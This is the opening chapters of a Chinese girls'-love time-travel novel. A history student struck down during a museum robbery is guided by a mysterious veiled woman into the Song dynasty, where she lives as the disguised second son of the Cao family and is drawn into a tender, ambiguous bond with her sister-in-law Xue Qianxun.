《璇玑密事gl》 1、序·梦 警报声依然响着,而我却渐渐地听不到了。。。 所有的感觉都在消失,眼前是一片深红,只有它是清晰的,好像在提醒我,我为什么在这里。 今天是我离开学校的第一天,一切都是和平常没有分别。 “老六,你该上班了!”哦,是老大那141分贝的海豚音,我被她“温柔”的呼唤醒了。回回神才想起今天是大学四年中唯一的一次实习考察出发的日子,当然了,说是考察,其实更像是一次大型的春游,完全是以玩乐为主。 可是旅行对我来说真是没有多大的吸引力,毕竟到了哪里都是看到很多人,看着不那么古老的景色,不如趁着假日多积累点工作经验吧! “不知他会不会和我表白呢?” “来个浪漫的旅程吧,碰到帅哥富二代也不错,哈哈哈” “哈哈..” 终于,她们在无限的美好畅想中,提着大包小箱的仰天大笑出门而去了。 原本热闹的炸锅的寝室一下子冷却了下来,只有我和七张凌乱的床。 一边听着歌一边看着公车外的风景,我的思绪飘飞着,想着自己最近的梦。终于到了xx市历史博物馆,接下来我要在这里奋斗一整个暑假了,当然这完全是我自己的想法罢了。 “小朋友们,接下来我们要看的是宋代徽宗皇帝赵佶的瘦金体书法,他的书法以笔法犀利、铁画银钩、飘逸劲特而闻名于世。同时他也是一个自命风流的皇帝,诗赋都是天下一绝的。” “………” “谢谢导游老师,老师再见” 终于送走这些小家伙了。没错我就是这个博物馆里的临时解说员。反正专业也算对口,我也就不觉得无聊了。 大厅的钟响5下,到下班的时候了,我准备去换衣服,临走前我瞟了一眼身旁的展品。是一幅金代的画,寒梅傲雪戏蝶图,这什么跟什么呀,金人不愧是游牧民族,异想天开、没常识。这样想着我便匆匆的离开了。 3个小时后,我又回到了这个大厅。为什么,我也想问,不就是把手机丢在这里了吗,我干嘛非取回来不可呢?我现在也想不明白,是什么让我鬼使神差的回去了。 好在值班的老伯还没睡,他对我这个新人还是有点印象的,在职员更衣室柜子下找到了我的电话。和老伯道别后,我不好意思让他送我出门,所以我一个人再次穿过了黑暗的大厅,任何声音都让我头皮发麻。突然一个灰色雾一样的身影飘过,她对我张开了血盆大口,我就这样挂了。 开玩笑的,如果这是卢浮宫魅影的话,故事到此就结束了。 但当时我的确是听到了声音,好几个“人”的声音。顺声寻去,原来是有人在偷盗藏品。 我得报警,拿出手机悄悄的往外退。 可是这时一段熟悉的音乐响起了,要命。是寝室室友,她们一定是想问我过的如何,我完了。黑暗中的有几道光照向了我,是凶恶的眼。逃,我拼命的跑,甚至喊出了,“救命,快来人,有人偷东西,”突然一个人挡住了我的去路。 刷的一下,我感到了一阵风,接着头顶被什么打了一下,似乎来不及疼。我眼前已经是深红一片,感觉到热热的东西渐渐地流了下来。倒下时我下意识的按响了警报,瞬间报警声响彻了整个大厅。我听到了人渐渐跑远的声音。 我趴在地上,现在在我眼前的仍是那副画,那副受我嘲讽的金代画作。只是我的血溅到了上面,那本已经退了色的梅花,再一次变得鲜艳,它,又一次绽放了。 所有的感觉都渐渐地消失了,至少在我的世界是这样的,面前唯有它是清晰的,画中的雪飘落下来,纯白纯白的,我被血和雪包裹着,但是却不感到寒冷。那白色驱走了深红。雪中走来了一个人,身穿白衣、带着面纱的女子站在我面前。她的头发乌黑垂肩,面容被衣衫衬得略显苍白,清澈的眼神。为何如此熟悉?她,她不就是我梦里的人吗。 “我终于找到你了”。她轻轻的抚着我的脸,“我们回去吧”她的声音清爽悦耳,好像玉盘相击时发出的响音。被她牵着的我似乎很轻,我们走进前方那片雪白。突然白光一闪而过,我张看眼。看了看四周,周围是一望无际的草地,我和她站在一艘小木船上,正顺着流水有些许摇晃的前行。一切像梦一样。。。。。。 2、缘起三生石 此刻,她已站在船尾摇橹,而我与她相对,坐在船头,我又仔细端详起眼前这个古装女子。只见她衣袂飘飘,一身白衣修短合度,肩若削成,腰如约素。延颈秀项,皓质呈露,芳泽无加。而那脸上的面纱却藏不住修眉联娟,遮不了明眸善睐。看她看得入了神的我却被惊奇打醒了。只听她轻轻唤道:“云笼婵娟月难明,世传精忠永赤诚。谁料此生两登科,亡国安邦绊一生。。。。。。。。”这是我梦里出现的话,还是第一次这样清楚地听到,梦境似乎重现了,我急切地问“这是什么意思,我听过这些话,是什么。” “这是批命诗,是你的命也是我的。”她的语气淡定,但肩却不住得颤抖。这都是梦么?我的脑袋此刻已经彻底死机了,完全反映不出半点东西。不知过了多久,天突然黑了,周围的一切都不得见,只有我们身边的河里满是亮亮的金点儿,原来是天上的星辰映了下来,真是星汉灿烂,好不美丽。此时之境使我忘了惊异。 直到船停在一片光亮地带的一个渡头,我跟她下了船。说真的,我渴望解开这个迷,这种信念让我一刻都不想离开她。 还是一路无语,我只有默默跟着她。 终于,她停在一块巨石前,石上用红字写着:缘定三生。难道这就是传说中让人们得以结缘的圣石吗?出于好奇我上前一步,想好好看看这石头。我发现在它的右侧有个大洞,我转到洞口一看,里面有一根红色的蜡烛,而洞顶还正向下滴着像蜡油一样的液体。正在这时,她走过来拿走了那根蜡烛,走向了一片无比光亮的地方。我顺着望去,看到了无数的蜡烛,点亮的蜡烛。烛火烧的天空如白昼一般,难怪这里这样亮堂。再仔细一看,蜡上还用金漆写着字,好像是人名,有的还被红线连在一起。 “这些都是什么呀?”我终于忍不住问。 只见她,一边打开一个锦盒,一边淡淡的说,“这里的每一根蜡烛都是一个人,红线相连的是他的恋人,结红线的地方是他们结缘的时间。” 姻缘,想到这两个字。再看看这片烛海,我看到了:红线的位置不一,有的延至蜡烛的根部;有的烧的已经有一边断掉了,而另一边还固执的拴着,烧着;还有的,一根蜡烛牵着好多条红线。这些,任我联想到人世间缘分的微妙与无奈。。。。。。 当我看到蜡因为烧化了而流蜡珠时,我在想难道会是情人的泪吗?却听她说:“总是离人泪,人世间的感情,无论开心与否都是有泪浇灌的。”一边说,一边用笔在一根蜡上写下贾宝玉三个字,并把它栓在写着林黛玉的烛上。咦,这两个人不是红楼梦中的苦恋情人么?只见他们的红线结的很紧,但蜡烛都很短,看来会是悲剧短命的爱,和小说一样。我不喜欢悲剧,也许她可以改变呢。于是,我问:“可以让他们的缘分得到个好结果吗?似乎太短暂了!”她没有回头,只是从锦盒里拿出一张纸,上面写着:“红楼一梦匆匆醒,只恨苍天太无情”,随手把纸放在蜡烛上烧掉。接着说,“不可能的,所有的姻缘都是已经注定好的,不是谁可以改的。每隔三世才会有一根红烛,也就是一次真正的姻缘。所以不管,结局是喜是悲,都得接受。而我,只是把从月老那里拿到盒里的名字写在红烛上,然后根据命批来结红线罢了。其他的,什么也办不到了”语气还是平静的,没有半点波澜。 她是谁,竟可以看破姻缘。真是越来越让我迷糊了。但我不能在愣下去了。“为什么我,会在这里,你是谁?这一切。。。。。。”我问,却欲言又止,我不知这是不是在梦里。 3、穿越千年的吻 “驸马,和我回去吧!”她终于转向我,我又一次和她对视,她眼中有了一丝光芒,不似原来的冰冷无情。可是,我怎能接受这种说法呢。我不会是什么驸马的,难道她忘了我是个女生吗?正在我瞪大眼吃惊的看着她时,她又缓缓的说道,“几百年前,我来到这里,月老说我前世有未了之愿,缘不可绝尽。所以,他让我在这里帮他联红线。代价是一个赌注:几乎消除了我所有的记忆,然后在轮回里找到能实现我愿望的人,让我们回到过去,努力使我们心愿得以完成,尽未了之缘。但如果办不到,我就永远留在这里牵红线。”说完她把目光转向那片烛海。 一定会很难过吧,无论愿不愿,她都得看尽所有的缘分,缘起缘灭,她都得照做,并且不可有丝毫感情的去牵线。她的心是否也在像这一根根蜡烛一样在流血呢。“真的,真的会是我吗?能实现你梦的人,真的是我吗?”我颤抖的问,心里已经无法平静了。 她又一次看向我,点点头说,“嗯,是的,我看了你的命批,里面还有一张纸,上面写着曹谦月,回溯千年。然后是你千年前的命文,就是我刚才念的”她说着回身取出一个锦盒,动作慌忙,声音也变得急切但有了一点喜悦。 当我打开锦盒,我看到了一条红线,还有一张写满了字的纸,“云笼。。。。。”就是我一直听的诗,但还有好多句没看过,大概十几句,正当我拿起它来想仔细看时,它忽然烧着了飘走了,我终于没看见什么。 正在我气恼没来得及看完时,她又开口道,“你愿意和我回去吗,一起完成我们的梦。。”她望着我,似是祈求,又好像准备好被我拒绝的绝望。 “好,我和你去。”我果断的说,虽然对她的话还是听得一头雾水,但突然间我改变主意了,我决定去古代看看(没办法,20岁的我还有点爱冒险),对历史我向来是怀着无限好奇的,我选择历史系也正是如此。不管这一切是不是梦,我都可以一饱眼福。以前,无论研究多深人,总是隔着一层时间的玻璃,所以我要接受她的安排,看看千年前的自己,经历一下朝代的变迁,还有那段缘,也许混得好还可以留名青史呢!哈哈,想起来挺轻松的。 但是。。。。。。其实,我说那话时的真正想的,却是她那顾盼生辉眼睛,当我看到了她眼里的,如同泪水般溢出的期冀,我已经不懂得拒绝她了。那一双任谁都不舍得让泪水把它们弄浑浊的眼。我想尽力让她得到解放,不再去承担缘分的折磨,希望能看到她可以自由的,开心的生活。。。 就这样,我要她那样 她笑了,我感觉得到。的确,事情一定不会像想的那样轻松,但我想她开心,就算看不到她的笑也好,我也可以感到她的美丽。 “那我们走吧,要快点。”她开始忙着在红烛上写下我们的名字,曹谦月,赵。。,还没看清楚,她就系上了红线并点燃红烛。突然,她转身扑在我怀里,在一次听到她那玉盘般的声音“我只记得要在轮回里找到你,其他的记忆都被剥夺了,你的也会。但,你一定要找到我,一定要找到我,我是你的蝴蝶。。。。。”我感觉到,她在抽泣,我犹豫着,但还是抱紧了她了,我抚摸着她的头发,我让她等太久了吗。太久了。 正想着,她又突然仰起头,吻上了我,好炙热的唇,我的感官开始消失了,眼前的火海变得模糊一片,耳朵也已经听不到什么了,一切都在消失,只有嘴上的温度还在,她的吻让我忘了一切,一切的忧虑,一切的顾忌,甚至是,忘了我们一样都是女人。。。。。 意识越来越弱,只是幻听的:一定找到我。 我只觉得在黑夜里飞驰,不知将要去向何方,但嘴上还有她的温暖存在,她的吻将给我指引。我闭上眼,等待接受即将到来的一切、有她的一切。。。。。。 4、续命.重生之光 当我再次醒过来,头昏昏的,我没有急着张开眼睛,不知会看到什么,心里有点担心,害怕一切都只是一场梦。回忆自己刚刚经历的“梦境”。好像,睡了好久了。我,她,为什么什么都不记得了,只还依稀闪现几个片段,“一定要找的我,我是你的蝴蝶。。”对,是的,我要找一个人,一定要找的,这是我在这里的意义。但她是谁,又会在哪里呢。 正想着,突然被一个富有磁性的中性嗓音打断,“你在想什么呢,睡够了吗?快起来,没时间了。不要装死了。”谁呀,说这么不讲理的话。我睁开眼,哦,不出所料,我看到我躺在一个青纱帐床里,身上盖着绿色锦缎被子,我望着自己的身体,此刻,我身穿白色的丝质衬衣,就是电视剧里常见的两边叠在一起系带的那种内衣。头发和我自己原来的差不多长,垂在胸前。我摸着自己的脸,还是那麽“骨感”。我真的急于想知道,现在的自己究竟是什么样子。我正尽情的检查现在的自己,完全忽视了刚才说话的站在我窗前的人。等我想起他来,才看向他。但是很遗憾,屋里的门窗紧闭,光线比较暗,我的可视范围很小,只能看出大概的轮廓,他个子不高,略显瘦弱,从隐约可见的发髻上看,应该是个古代男子。气氛有点诡异,我下意识的问:“你是人是鬼?” 只听他咯咯笑了,“废话,那还用说么,我当然是。。。。。。鬼了”嗬,好干脆的回答,如果是以前的我,一定会以晕倒来回报他的坦诚。但是,既然我可以在这里,那世间就没有什么不可能的事了,这是对唯物主义的颠覆呀。 “我这是在哪里,”我又问,得到的回答是大宋政和年间!我真的回到古代了,只不过是宋代。我开始还庆幸,自己作为历史系的高材生,就算在古代混不下去,靠摆卦摊儿也可以成个先知、国师什么的,没想到,我会在宋代。我真的是很不幸,非常非常的不幸。我只有在宋史课上睡着过,因为宋代的屈辱历史,让我觉得他们包括帝王在内都是严重的懦夫、愚民。所以,我曾经很不屑学习宋史。现在想想真的有些后悔了。哎,天妒英才呀! 我干咳了一下,想以此平复心中的慨叹,只听他继续说,“还有两天,就是我们17岁的生辰了,幸好你赶来了,那样我就放心了。”“我们,那你是谁?”我问。他回答说:“曹谦月,是我们共同的名字;我最多活到后天,剩下的,有你完成,只有你可以完成那一切。” “那你呢,难道这不也是你的命吗?”我真的不明白这一切是怎么回事,我们在交接棒吗,那我又算什么呢。 他叹了口气说:“如果没有你,曹谦月只是一个英年早逝的将门之子罢了。你听过你的命批吧,那诗里说的只是你而已,所以,将来如何就都看你了。我要转世去了,我的任务也就此结束了。”他走向了门口,但突然又转过来说“请你善待娘,师父师叔,还有,不要辜负芊寻和雷洛。如果,有什么疑虑就看看我的手记,你会融入情感的,这本来就是你的人生,我来不及了。。。。。” 还没说完,门突然开了,他像是被门击碎,消失了。阳光霎那间射了进来,我用手挡住眼睛,一时还适应不了。在指缝间,我看到一个婀娜的身影缓缓走了进来。。。。。她是谁?阳光下,那样一张圣洁的脸,没有一丝污浊的气息,她就像是黑夜里的一道曙光,照亮我混沌的一切,她?是她吗? 5、我是千金“公子” 她走近我,终于看清楚了,她白皙的面容,眼若桃花,眼角微微上挑,鼻子高且精致,加上殷桃小嘴,十七八岁的模样。却挽着头发,发髻后有一条白色貂祾系着,耳上带着明月珠,穿着简单却又华丽,一看就是少夫人或小姐,而且是仙女级的。此时,她身后的阳光把她映衬得美丽无邪,也在那柔光下,她对我展开了笑颜。很美好的情愫,但是却丝毫没有半点熟悉的感觉,她是谁呢? “月儿”她微不可见的迟疑,而后又唤着“月儿~今天好点了吗?”说着,来到床边扶我起来,为我穿上了一件宽长袖子的绚丽的宝石蓝色的锦衣,扎上一条褐色镶白玉腰带。接着让我坐到镜子前帮我梳头。咦,好奇怪,我怎么一点力气也没有呢,我不曾是这样懦弱的人呀,更何况,现在我该是个将门虎子。正想着,我注意到镜子里的我,我咧咧嘴笑了,太完美了! 哎,开玩笑的啦,我苦笑着。其实,镜子里还是我熟悉的自己,这样子我已看了20年了,只不过此时年轻些,毕竟只有17岁了。我又仔细观察镜中梳着发髻,穿着华贵古装的我:眉清目秀的,鼻子不算高挺,但是很直很精致,当然还有我的小嘴。其实我的五官搭在有立体感的、轮廓分明的脸上,还是挺不错的。以前,男女都有夸过我秀气的。就算这样吧,至少不会太娘。 正欣赏着,我突然觉得胸口好闷,随即有一种巨石被击碎的感觉,一下子倾斜而出,我咳了一下,竟然喷出一口血,覆盖了整面镜子。接着,我便开始不住的颤抖。我蜷缩在地上,胸口热血奔腾,血不受我控制的想往外涌,我还在吐血。 她慌了,一边试图抱起我,一边说“你为什么就不肯听我的,身为女儿身练伊帝神功已经把你的五脏六腑摧残殆尽,而你还坚持穿着纤云甲,它的寒气你已经抵抗不了了,为什么不乖乖听话。。?”她声音哽咽,我感到她的泪落在我的脸上,好暖。而我此时连睁眼睛的力气也没有了,但心里明白,原来,这一世我还是女人,那我要找的人。。。。。。可想不了那么多了,我的身体抖个不停。她的声音,还在耳边。“月儿,我会救你的,你不可以死,你若敢死,我也会随你一起。。。”说着,她解开我的衣服,我感到针在扎我的身体,我也终于意识到,她所说的铠甲的存在,它好冰冷,箍得我好紧,难怪,刚才我没注意到自己的胸。真的舒畅多了,她又试着想解开我贴身的纤云甲,以便更好的施针。 突然,门被推开了,随之而来的是一个冰冷、苍老有气势的声音,“芊寻,你在干什么,不准碰我孙儿!”孙子,是我祖母吗?还是无法张开眼,我只听到她在骂。“你们叔嫂有别,成何体统!?”她气的用拐杖拄地。 我感到,芊寻虽停止了解甲,但还继续为我施针。这也许惹怒了那老夫人,只听得清脆的一声响,芊寻挨了一记耳光,“雪芊寻,你太不像话了,难道听不懂我说什么吗,快住手。” “难道您非要他死吗?芊寻,继续”又一个声音,好像又有人姗姗赶来。此时,我终于停止抽搐了,我慢慢睁开眼,看到屋里有两个衣着高贵华丽的妇人,除了那位老者,另一位气度非凡,她命令众下人退去,门又被关上了。而芊寻就在我身边为我擦拭脸上的汗和血,动作轻柔,眼神温情,仿佛是在对待一件珍宝。 见我转危为安,屋里的气氛似乎没那么凝重了。后进来的夫人,舒了口气说:“苍天保佑,多亏了芊寻。”接着转向“祖母”继续说,“祖奶奶,我命芊寻住在静怡苑,就是为了可以治月儿的病。曹家人丁单薄,只有绮儿和月儿两个孩子!一家的荣辱都在他们身上,纵然他是千金般尊贵的公子,也得保命为先呀!何况芊寻诊治时不会有别人在的,请您见谅” 。 “无论如何也不该乱了分寸,礼不可费,说到底还是你治家不严,要是丢了颜面,我定要罚你,我得去向祖宗请罪”,说完老人便拄杖走了。中年夫人也随即离去。 终于,屋内留我一人静养休息。我怎么也睡不着,翻来覆去,摸着身上坚硬冰冷的铠甲,想到了“云笼婵娟月难明”想想自己的身份,应该是千金小姐才对,现在是二公子,恐怕有着一段难为人知的苦衷吧。还有,她,雪芊寻,我不可辜负的女人吗,她对我的关怀的确不似嫂子对小叔子。甚至胜过我的“太奶奶”和亲人。 哎,好烦呀,都不用想别的,头就已经大了。在这陌生的环境里,我感到十分不安。 对了,曹谦月的手记,也许可以帮我理出点头绪吧。 经过翻箱倒柜我总算找到了,刚翻开,门突然开了,我抬头一看,正是我在想着的雪芊寻。。。。。。 6、暧昧的“叔”嫂情 我一边望着她,一边把那本手记塞在被里。她的目光还是那样温柔,如同月光倾斜下一般地轻柔。我和她对视着,心里猜着着她和“我”曹谦月的关系,心情好复杂。 “这么晚了,还没有休息,是不是哪里难过了?”说着,她快步到我身边,抓住我的手诊脉,这时的她表情严肃认真。过了一会,也许是我没什么大碍,她才笑着说:“没事了,脉息平稳。来,把药吃了吧,白天你突然发病没有服用,现在既然还没休息就吃了吧,巩固一下!”我才注意到,她刚刚是端着药碗进来的。 又是由她扶着我来到圆桌前。捧起还冒着热气的药,我想这一定是刚刚熬好的。只是这味道,真够呛人鼻子的了。我皱着眉头,犹豫着。她却笑着拿过碗,在里面放了一颗白色的药丸,又放在嘴边吹了吹才又交还到我手上。我在一闻,竟然清香袭人,还是我最喜欢的茉莉花香味。我看看她,惊异着她的神奇。她还是笑着说:“喝了这么久的药,你还是会嫌它苦,不加“茉问”就喝不下去。还象个小孩子似的。”她说完,我也刚刚好把药一饮而尽。但是喝得太快了,竟然呛得咳嗽起来,她赶忙为我轻轻的抚背。咳嗽平息下来,我望着她,在她眼里,映照着病弱的我,还有她对我的疼惜。我的脸腾一下红了,从没有人如此对我,连我父母也做不到的。而她究竟和我有着怎样的关系,我想着,一时不知该说什么。最后还是说出了“芊寻,谢谢你白天救了我”这样白痴的话。 她摇了摇头,再一次展开了笑颜,“与其说救你,倒不说是救我自己;只有你活着,我才算活着。”她说这话时的眼神坚定但闪烁着泪光,这让我又一次陷入了迷茫。 她究竟当我是什么,小叔子吗,不会单单是为这个。情人么,更不应该呀,且不说礼教辈分不许,就算世人也不会允许两个女人在一起的。我并不排斥百合之恋,但在这个陌生的境地,古老的国度,一切太突然了。更何况,她心心念念的人,并不是我,而是那个和她有着什么过往的已经死的曹谦月。而我,来这里也有自己的事要办,只是凭感觉,我觉得她也不是我要找的那个人,那麽我不可以纠缠于此。 但这只是我自私的想法,望着眼前这个衣着单薄的痴情女子,我又觉得不能弃之不管。我顺手拿过床旁挂着的黑色披肩,为她披上,接着我又和她对坐,我轻声说“夜里凉,你光顾着为我治病,也不能把自己弄病了呀,那样,谁来救我呢?”其实,这样的小事我经常对朋友或室友做,她们还因此调侃我说:如果你是男的,还挺绅士呢!也许吧,我的确看不得女人的眼泪,自己不爱哭,更舍不得别的女孩儿哭。 但是,我错了,我的举动让她像是等到了什么肯定。她扑到我怀里,把我抱得紧紧地,泪还是流出来了,她哽咽着说:“我每天都在期待你对我像以前一样好,但每晚你都决绝的冷着脸赶我走,我知道你是故意那麽做的。我没恨过你,从开始到现在。我真的不曾奢望过你会像我爱地你一样爱我,但我要你明白,我会永远望着你,守着你,而且就算是地狱我也会和你一起去的。。。。你明白吗,所以,求求你不要推开我,我是你带来的,你就是我的命。。。。。。”她轻轻的抽噎着,而我也被这样的告白弄心力交瘁。 为什么,曹谦月你身为一个女人,却和自己的嫂子暧昧不清。你们有着什么样过去,又要我们面对怎样的未来。怀抱的这个爱“我”胜似爱自己的女人,你知道吗,我的到来只是为了找到另一个女人,让你深爱的月儿离开你,我不会和你有什么交点的,更不会和你有故事,那是过去的曹谦月的事,现在的我不想承担这些。 但为什么,我的脸上会有泪呢,坦白的说,就算是我所生活的现代也不容易碰到这样痴情的恋人,在这样下去,我不敢保证自己会不会被她打动。。。。。。 不知过了多久,她止住了哭,挺起身子看看我破涕为笑了,她为我擦干了残余的泪,接着说:“休息吧,小花猫。放心,我会和以前一样,做你的好嫂子。”是的,在这个家里我们只能保持这种关系,不管她愿不愿。 她扶我上床躺下,为我盖好被子,吹了灯,轻轻关上门离开了,一个人消失在无尽的黑暗与寒冷里。 望着她孤独的身影,想想从见到她后发生的一切,我把那本手记塞在枕下,我没有勇气翻开,怕看到她们的故事,那会让我更加想把她留在身边。可是那是不可能的,我一定会离她而去,我不属于她,不属于这里。给她希望只会让她更加伤心,所以,我决定再自私一次,从今以后,保持好和她的感情。也许,谦月你也是这样想的吧,我不可以看这本手记,更不可以产生感情共鸣,融入角色只会让我的处境更加为难罢了。 所以,我是不是得断了与雪芊寻的暧昧情愫。我必须这么做吧!这样想着,我的手却还摸着手记。结果,就在这样的矛盾与辗转中我睡着了。 这是我在宋代的第一个夜晚。 然而,此时的我,下定决心的我却还不知道,我和雪芊寻这段叔嫂之情的波澜还远不止如此。虽然她不一定是我要寻找的那个人,但是,我和她一样有着牵不完,扯不断的情。。。。。。 7、祭祀 不知道睡了多久,我终于在一片鸡叫声中醒了过来,此起彼伏的鸡鸣让人很难再睡。现在,我算是真的体会到了古人闻鸡起舞的有利条件了。 我躺在床上,枕着那本不敢看的手记,对着青纱帐发呆。没想到,一来到古代就遇到一个如此痴的情人-----芊寻啊芊寻,我喃喃的念叨着。却听得,门外传来了熟悉的声音,“月儿,该起来了,快点我帮你梳洗。”是芊寻带着几个丫鬟进来了。 我腾的一下坐起来,还是会脸红,都不太敢看她。但她却很从容的照顾我起床梳妆。还为我挑选了一套绛红色的长衫,但是腰带却不是昨天的那条白玉的,而是一块块黄色的宝石镶成的,像是黄油,油油光光的。我在想它的价值会如何(我也不知为什么会想着些,看来还是有点财迷心窍!) 芊寻好像看出了我的疑惑,笑着说:“病糊涂了,这可是田黄玉腰带呀,虽然你很少带,但是珍贵无比。更何况这是当今圣上在你出生时赐你的礼物呢?”听了这一席话,我恍然大悟,哦,是田黄呀。这个我知道,一两田黄百两金嘛! 它有“福”(福建)、“寿”(寿山)、“田”(财富)、“黄”(皇家色)之寓意,具备细、洁、润、腻、温、凝印石之六德,故称之为“帝石”。得到这个宝物,我可以肯定,我现在所在的曹家一定是大宋时代的名门望族,但是,我对这里,对自己的了解还为之甚少。 所以,我对芊寻说:“我今天好多了,可以在府里走走吗?在这里,怪闷的”我的声音富有磁性,且温柔,但是芊寻听了,却张大眼睛看着我说,“你平时不是很讨厌外人么,借着身子不好,几乎不出静怡苑,今天怎么。”我听了这话,暗想糟了,露馅了。 我正急着想应对之法,门外跑进来一个小厮,他低下了头,双手重叠放于腹部,似是禀报:“大少奶奶,二少爷,夫人请二位主子到无忧堂。然后迎接宾客。”说完,便退了出去。芊寻,赶快帮我拉平了袖子和肩部的袍子上的褶皱,叹口气道:“对啊,今天是曹府长子的寿宴,你我无论愿不愿是一定得出去的。你,还是那麽顾及曹家声誉。”说这话时她眼圈红了,“哎,苦了你。。。。。。”说完,转过身,不想让我看到她的泪。 我默默跟着她出了门,不敢再看她了,只得留意路过的花园长廊,很多很多的房间,它们有着相似的华丽,青瓦白墙,墙上镶着镂空的石窗,隔而未隔,界而未界,隐约可见墙的另一边,下人们在忙着帮东西,红红光光的礼品,全府都沉浸在寿宴的喜庆之中。不开心的,似乎只有此刻沉默前行的我们。 路过了几座假山,转了几个回廊,我终于看到了挂着用楷书书写的“无忧堂”牌匾下的屋子,大门敞开,我和芊寻一前一后进去了。一进屋便看到了,那天见到的很有气质的夫人,也就是我该叫娘的人。只见她身穿深褐色镶金丝绣福的锦衣端坐在正厅,喝着茶,见我俩进来,便笑着站起身,“谢天谢地,月儿你的脸色好多了,多亏了芊寻。先不急着应对那些官家。来,我带你去祭拜祖先,谢他们保佑,正值你们兄弟生辰,也该拜拜了,芊寻也一起来。”说着便紧紧地拽住我的手带我出了门。又是转来转去,一路上,他不停的问我吃饭了没,衣服够不够暖等等问题。我只得应着万事都好,她便一遍遍念着祖宗保佑。我心想还真是迷信呀,但还是可以感到她对我的关心,出自内心的关怀。正想着,我们在一个大约四米高的小楼前停住,这个地方是以黑色和金色为主色调的,给人一种:与其说是庄严,倒不如说是沉重的感觉。上面也有块牌匾:精忠阁,旁边还有一行金漆小字,赵匡胤书。嗬,这不是宋太祖的手谕嘛,面子好大。 我还在感叹之中,便被娘拉进去了,但是芊寻却被拦在门外,这里是不准小辈的女眷进入的。我真的很讨厌重男轻女的封建观念,女人怎么了,哪里会逊于男人呢。但是这却也是我的伤,对于曹谦月来说,这使她只能是以男子的身份活下去。 一进去就见到一幅画像挂在大厅正中,下面有一张大桌子,上面摆了好多灵牌,由高到低排列有序。我一边仔细看着,一边被大娘拉着跪在桌前的垫子前,大娘双手合十,命下人点香。此时,我有机会近距离看清画上所有:一个穿着蟒袍的老人,相貌英伟,一看就是将军之才;旁边还写着,大宋鲁国公像。当然摆在第一位的灵牌也是他的,宋鲁国公曹公彬之位。也许他就是我们的祖宗了,也就是这个家族显赫的来源。在向左右看看,墙上挂满了写满了字的似是石碑的东西,记载着这个家族自建国以来的有功绩的人物:最高有担当过枢密使的,这相当于当时的三军总司令了。还出过不少文官,更了不起的是,我的太姑奶奶辈出过一个皇后,就是宋仁宗的贤后-----慈圣光献皇后,从事迹上说,她曾解决过宫中政变救过皇帝一命。而且,还垂帘听政多年。对大宋有着不可忘却的贡献。还有她的哥哥曹国舅,为官正直清廉,为民请命。也许他就是八仙里那个曹国舅的原形吧。 看着这个家族的历史,我感到很不容易,我隐约记得宋代君主重文轻武相当严重,这个家能以武将受封并保持光荣到了今天,实在值得琢磨一番,想必他们一定是谨慎处事为人,而且永怀精忠之心的家族。 这样想着,我对他们有了很多尊敬之情,正巧这时,娘递给我一炷香,我接过后,听娘的指示,对他们祷告上香。然后我们上了二楼,那里更加富丽,一个大台子上面供着一把金刀,还有一块写着:世传尽忠的匾额,据说那刀是太宗所赐,匾额是真宗所赐。哇,原来祖先还是三朝元老呢。 正在我佩服之时,娘领我到了窗前,开口说:“也许,你可以改变这一切呢,让女人在这家里有着和男人一样的地位,站在这里俯视所有人。但我不想你承担这份责任,作为女人那太苦了”我吃惊的看着她,她的脸上没有了一贯的微笑。我顺着她的目光看去,在我们的视线里,是芊寻立在门旁,静静地等待着,仿佛很从容。我又听到了娘的叹息声,“是我们曹家对不起她,她本该是雪莲花般不被世俗所染,但我们却骗了她。在这家里我对不起的人太多了,但互相争斗中已经没有什么所谓的受害者了,大家都一样了。可是无辜牺牲的却只有你们两个。现在芊寻心里有的只是你,只有你在她才会安然的生活,所以不管怎样你应该让你们活的快活些。”又是一惊,我望着芊寻,心里想难道母亲是暗示我该和她私通吗,还是私奔呢?这些都不是一个长辈该说的,但是我却感觉不到恶意。只是,让我抉择而已。 8、“私奔” 终于结束了祭祀,娘带着我和芊寻去前厅。一路上我都在想她说的话。我问芊寻刚刚怎么那样平静呢,她笑说:“因为知道你就在里面,所以很安心,只要在你身边就好了。”还是笑得那样迷人,可我却慌了,已经无法决断自己的心了。 到了前厅有不少穿着华丽的中老年男士,有的穿着官服,他们三三两两的坐在一起聊着天,笑着,前院里好多礼物担子被人搬进屋里,都是珍奇之物呀。见我们来了,有人走过来,作揖说:“天启夫人,曹参事与令郎在此次抗辽之役里立下大功,公子被晋升为京畿右将军。今日凯旋,又恰逢其生辰,实在可喜可贺,所以吾等特前来道贺。”娘笑着说:“小犬不才,此次得胜全仗圣上神威,还有各位大人在后方支持呀。”寒暄着,一批批糖衣炮弹,阿谀奉承。我在一旁听着,大致了解了一些情况,我那个大哥,叫曹冕,字梦绮,自幼习武,14岁随父亲作战抗辽,战功已经显著,算是将门虎子,前途无量。 可是全场几乎没有人在意我这个无名且文弱的二公子。哎,悲哀呀,无论男女我都是好凄惨。这时芊寻过来了,她笑着拉我走,“太奶奶找你呢,” 我们一起往偏厅去了,一路上我问芊寻刚刚去哪了,她说先是招呼宾客,然后躲起来了,不愿理他们。说着,见到了祖奶奶,真不愿这样叫,因为迎接我的是一张,不太友好的脸,还有一句冷话:“怎么这样慢”。我打赌她一定是从没对我笑过,真同情曹谦月,竟被大长辈这样对待。但是,我不明白,她为什么那麽讨厌我,全然不在乎我的病甚至生死。说着,她赶芊寻出去。又训了我一顿,说什么,不该太亲近雪芊寻。。。。。。 在快被她叨叨疯时,一个小厮的禀报救了我,“大少爷凯旋归来了”。真是千呼万唤,今天的寿宴主角回来了,然后,老人家眼睛突然一亮,全然不管我了,带着侍从捧着一个锦盒出去了。我跟着他们回到正厅,只见人大都跑到门口去了,迎接我“大哥”显然。那场面可比举行演唱会了。真是的,太夸张了吧。 此时我注意到了,芊寻黯然的转身离开,迅速跑向后院去了。为什么,她不想见丈夫吗?别人口中的完美将军。不对,他会是什么人呢,让妻子宁可喜欢女人也。。。。。想不了那么多了,我跟着芊寻往后院去。见她回了房间,关上门,我也就回了自己的屋子。这时,我才发现我们同处一苑,而且门对着门住着。反正呆着没意思,又没有兴趣去见我大哥,我终于翻开了那本手记。 看看许久,幸好我的古文功底还可以,加上她记录的比较白话易懂,我就大致明白了,我的身世。在家里,我和大哥出生只差半个时辰,是龙凤胎吗?我的疑惑却没有解开,因为谦月也不明白,为何已经有了长子,女儿还要以男孩的名义请封呢?在全府人眼里,谦月是个文弱但温柔的好人,这是娘教育的成果,可是大哥却张扬跋扈,目中无人,对下人不是打就是骂。父亲也只顾打仗很少回家,更不用说过问家事。 